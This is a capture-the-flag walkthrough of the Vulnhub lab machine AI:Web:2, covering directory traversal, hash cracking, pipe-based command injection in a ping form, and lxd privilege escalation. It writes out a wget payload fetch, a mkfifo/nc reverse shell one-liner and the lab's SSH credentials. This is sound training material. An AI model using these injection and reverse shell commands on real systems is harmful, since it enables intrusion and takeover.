Vulnhub - AI:Web:2 writeup

AI: Web: 2

Author: Mohammad Ariful Islam


Nothing fancy. Let’s just start with the port 80


We can see two options, one to login and one to signup. If we try to login with some username guessing then we’ll get illegal username. So I signup as admin and then login as admin

All the of the options were disabled. There was a code section on that page but it was commented so I didn’t thought of it much.

I searched for XuezhuLi FileSharing using searchsploit and found a directory traversal exploit.

I used the directory traversal exploit i.e XuezhuLi FileSharing - Directory Traversal and it worked.

After some guessing I found the hash of the password used.

Now we need to crack the hash.

You may need to crack password. Use wordlist SecLists/rockyou-45.txt by Mr. Daniel Miessler.

This was given in the description of the machine on Vulnhub. So I downloaded the said list i.e Seclists/rockyou-45.txt. And then started John on the hash.

With that list I was able to crack the password in 2 seconds.


I had credentials but there wasn’t any place to login. I tried SSH but it didn’t worked. So after that I ran dirsearch and it found a dir named webadmin.

When I tried visiting it I was prompted for username and password. I used the credentials I found and I was in.

Since that sentence is referring to robots.txt I opened that and found 2 disallowed directories.

When I visited there was a submit form where we could enter and IP and it might ping it.

I was able to execute command by using | after the command.

Now I used this to upload a phpbash.php file and then from there I a proper reverse shell.

In order to do so.

  • Start a python -m http.server in the folder where your phpbash.php file is present.
  • 3232282625|wget

Here the 3232282625 is the decimal representation of the IP

If everything is good then you’ll get a shell if you visit webadmin/H05Tpin9555/phpbash.php.

Then I used this to run rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 4444 >/tmp/f and got a proper shell.

Horizontal Privilege escalation

I couldn’t find anything with enumeration script. So I looked in the /webadmin/S0mextras, there I found SSH credentials

User: n0nr00tuser
Cred: zxowieoi4sdsadpEClDws1sf

With those I was able to login via SSH.

Vertical Privilege escalation

@theart42 figured out that the user n0nr00tuser is grouped with lxd so we figure that we need to escalate with that.

There is an exploit for that, Ubuntu 18.04 - ‘lxd’ Privilege Escalation.

So I followed the exploit:

  • wget
  • sudo bash build-alpine
  • Transfer this build image to the VM.
  • Run the script and you’ll find the flag in /mnt/root/root

This was also pretty good machine. We didn’t had to do any guessing or bruteforcing which was really good. Everything was in a flow.

Thanks to @arif_xpress for making this machine.

Thanks for reading, Feedback is always appreciated.

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